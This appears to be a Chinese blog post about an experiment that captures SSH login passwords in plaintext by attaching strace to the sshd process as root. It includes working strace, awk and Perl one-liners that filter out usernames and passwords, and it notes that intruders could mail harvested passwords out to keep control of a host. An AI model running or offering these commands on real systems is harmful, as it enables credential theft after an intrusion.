目前来说linux/unix平台上最安全最流行的连接方式莫过于ssh连接,不过在一定的条件下,我发现ssh连接也并“不是完全安全”的。也许我这个实验本身就是个谬论,所以我上面说不完全时加了引号。本处的实验是以ssh密码连接为条件,实验条件是能有strace程序跟踪sshd进程的权限。

所以说我的实验本身就是个谬论,因为要具体以上条件,无外乎以下几种可能情况:

  1. 本身以root用户进行本次实验。
  2. sshd进程是以非root用户启动的(这种可能性几乎为0)
  3. sshd程序或系统本身存在漏洞,允许其他用户strace 跟踪sshd进程及其及进程。

实验原理非常简单,strace进程会跟踪程序的所有运行情况。而ssh密码连结在strace跟踪的结果里是以明文的形式存在的。如果有耐心的话,我们可以通过下面的命令查看ssh连接及验证的整个过程:

1strace -f -p $(pgrep -o sshd)

当然,如果你嫌麻烦,我这里也有一个简单的脚本处理一下。

1strace -f -p $(pgrep -o sshd) 2>&1|awk '{if (/getpeername/||/terminfo/){print $0}if(/getuid()/){getline;print}}'|grep -v getgid > mi.txt

当然上面的脚本并不是标准,期待有人能提出更好的。上面过滤出的几处信息分别是连接端口地址、用户名、密码。上面的脚本过滤完后,看起来还是有点复杂。国外一个牛人曾用perl写了一个直接出用户名密码的脚本。不过我试了,这个脚本是无效的。(也许是使用的linux/unix环境不一样)

1strace -f -p $(pgrep -o sshd) 2>&1 | perl -ne 'BEGIN { $o=""; } { chomp; if ($_ =~ /getpeername/) { if ($o =~ /read(d+, "[0-9a-z][0-9a-f][0-9a-f][0-9a-f][0-9a-f]([^"]+)"/) { $u = $1; print "$u, "; } }  if ($_ =~ /getuid()/) { if ($o =~ /read(d+, "v[0-9a-f][0-9a-f][0-9a-f][0-9a-f]([^"]+)"/) { $p = $1; print "$pn"; }; } $o=$_;}'

其中我认为主要的几行截取如下:

111812 getsockname(3, {sa_family=AF_INET, sin_port=htons(端口), sin_addr=inet_addr("本机IP")}, [16]) = 0
211812 getpeername(3, {sa_family=AF_INET, sin_port=htons(源口), sin_addr=inet_addr("来源IP")}, [16]) = 0
311814 getuid()                          = 0
411814 read(0, "密码", 200) = 17

注:密码中如果有双引号,会在前面加“”进行取消转义。

当然上面的实验也并非安全没有意义,hacker可以在成功入侵主机以后。在站点上利用上面的原理,获取主机所有的用户密码并通过第三方程序(如:mail )接收。以达到长期占领某主机的目的。当然第三方程序如mysql和oracle应该也是一样的。也可以利用该方法取得密码。(数据库和其他程序的暂未实验,只是理论上进行的推测。)